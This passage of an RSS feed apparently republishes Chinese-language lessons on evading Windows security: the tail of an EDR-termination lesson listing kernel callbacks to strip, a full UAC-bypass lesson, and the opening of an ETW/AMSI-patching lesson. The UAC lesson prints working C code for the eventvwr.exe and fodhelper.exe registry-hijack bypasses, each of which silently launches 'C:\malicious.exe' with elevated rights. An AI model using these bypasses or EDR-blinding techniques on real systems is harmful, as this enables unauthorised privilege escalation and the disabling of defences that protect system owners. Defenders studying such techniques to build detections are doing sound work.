CloseServiceHandle(hSCManager);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 内核态终止</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.1 BYOVD终止</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">已在第4课详细介绍。</span></p><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.2 内核回调移除</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">EDR通过注册内核回调来监控行为，移除这些回调可以致盲EDR。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">关键回调：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">PsSetCreateProcessNotifyRoutine</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">PsSetCreateThreadNotifyRoutine</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">PsSetLoadImageNotifyRoutine</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">CmRegisterCallback</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">ObRegisterCallbacks</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4 特殊方法</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4.1 进程冻结</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">不终止EDR进程，而是冻结其所有线程。</span></p><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="82"></mp-pay-preview-filter></p></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e738e014&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496630%26idx%3D1%26sn%3D70706ff6dc3ed5c584a1691ab43df1e0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 07 Apr 2026 08:31:00 +0800</pubDate>
    </item>
    <item>
      <title>UAC绕过技术——权限提升的艺术</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496629&amp;idx=1&amp;sn=79875d7e69a1376f0252ce5b7847f2f8</link>
      <description>一、前言概述UAC（User Account Control）是Windows的安全特性，用于限制应用程序的权</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-04-03 08:30</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4e548e6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FM5H82XuSHY6bUSJ1ofI5ibER1XrfVzGYE17VApDhUSFiconSTdcZv82ruRYByrdGLECJ67suLRfOZH4tb2CViadGt1vhoV3gy2AgfMjBjuHYia8%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、前言概述</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">UAC（User Account Control）是Windows的安全特性，用于限制应用程序的权限。本课将深入介绍UAC机制和绕过技术。</span></p><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、相关内容</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 UAC机制详解</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">UAC定义：</span></strong><span leaf="">UAC是Windows的安全特性，用于限制应用程序的权限，防止恶意软件在用户不知情的情况下获得管理员权限。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">UAC工作流程：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">用户启动需要管理员权限的程序</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       ▼</span><span leaf=""><br/></span><span leaf="">检查清单（白名单、自动提升）</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       ├──── 在白名单中 ────▶ 自动提升</span><span leaf=""><br/></span><span leaf="">       ├──── 自动提升 ────▶ 自动提升</span><span leaf=""><br/></span><span leaf="">       └──── 其他 ────▶ 弹出UAC提示</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">UAC级别：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">始终通知：最高级别</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">默认：默认级别</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">仅当程序尝试更改时通知：中等级别</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">从不通知：最低级别</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 UAC绕过技术</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.1 白名单绕过</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">某些Windows程序在UAC白名单中，可以自动提升权限。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">常见白名单程序：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">compmgmt.msc</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">eventvwr.exe</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">fodhelper.exe</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">sdclt.exe</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">wsreset.exe</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">示例：eventvwr.exe绕过：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">UACBypass_Eventvwr</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    HKEY hKey;</span><span leaf=""><br/></span><span leaf="">    RegCreateKeyExA(HKEY_CURRENT_USER,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Software\\Classes\\mscfile\\shell\\open\\command&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, KEY_WRITE, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, &amp;hKey, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">const</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* maliciousPath = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;C:\\malicious.exe&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    RegSetValueExA(hKey, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, REG_SZ, (LPBYTE)maliciousPath, </span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(maliciousPath) + </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    RegCloseKey(hKey);</span><span leaf=""><br/></span><span leaf="">    WinExec(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;eventvwr.exe&#34;</span></span><span leaf="">, SW_HIDE);</span><span leaf=""><br/></span><span leaf="">    Sleep(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">5000</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    RegDeleteTreeA(HKEY_CURRENT_USER, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Software\\Classes\\mscfile&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">示例：fodhelper.exe绕过：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">UACBypass_Fodhelper</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    HKEY hKey;</span><span leaf=""><br/></span><span leaf="">    RegCreateKeyExA(HKEY_CURRENT_USER,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Software\\Classes\\ms-settings\\Shell\\Open\\command&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, KEY_WRITE, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, &amp;hKey, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">const</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* maliciousPath = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;C:\\malicious.exe&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    RegSetValueExA(hKey, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, REG_SZ, (LPBYTE)maliciousPath, </span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(maliciousPath) + </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    RegSetValueExA(hKey, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;DelegateExecute&#34;</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, REG_SZ, (LPBYTE)</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    RegCloseKey(hKey);</span><span leaf=""><br/></span><span leaf="">    WinExec(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;fodhelper.exe&#34;</span></span><span leaf="">, SW_HIDE);</span><span leaf=""><br/></span><span leaf="">    Sleep(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">5000</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    RegDeleteTreeA(HKEY_CURRENT_USER, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Software\\Classes\\ms-settings&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.2 DLL劫持绕过</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">某些白名单程序会加载特定DLL，通过DLL劫持可以执行恶意代码。</span></p><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.3 COM对象绕过</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">某些COM对象可以提升权限，利用这些COM对象可以绕过UAC。</span></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 实战案例分析</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.1 案例1：使用eventvwr.exe绕过UAC</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">攻击场景：</span></strong><span leaf="">攻击者已获得普通用户权限，需要提升到管理员权限执行后续操作。</span></p><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="73"></mp-pay-preview-filter></p></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9625742a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496629%26idx%3D1%26sn%3D79875d7e69a1376f0252ce5b7847f2f8">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 03 Apr 2026 08:30:00 +0800</pubDate>
    </item>
    <item>
      <title>ETW与AMSI对抗——致盲EDR的关键技术</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496628&amp;idx=1&amp;sn=dc58c1ca254f6f7e484fdd6be815367b</link>
      <description>一、前言概述ETW和AMSI是EDR的重要数据源，Patch它们可以有效地致盲EDR，本课将深入介绍ETW和A</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-04-02 08:31</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1c96c086&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FM5H82XuSHY7KbgCy8VMiczjF8ofQk12TSDwLpBzIvz9NTbia2qakZZBicY3ia2MvSLXM3u7EBlC8JTOnic7vRHDGf0LMK4mjiakseZQhyznia4BbKY%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、前言概述</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">ETW和AMSI是EDR的重要数据源，Patch它们可以有效地致盲EDR，本课将深入介绍ETW和AMSI的原理以及对抗技术。</span></p><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、相关内容</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 ETW（Event Tracing for Windows）</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">ETW是Windows提供的高性能事件跟踪机制，EDR使用ETW记录系统事件。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">关键ETW提供者：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span 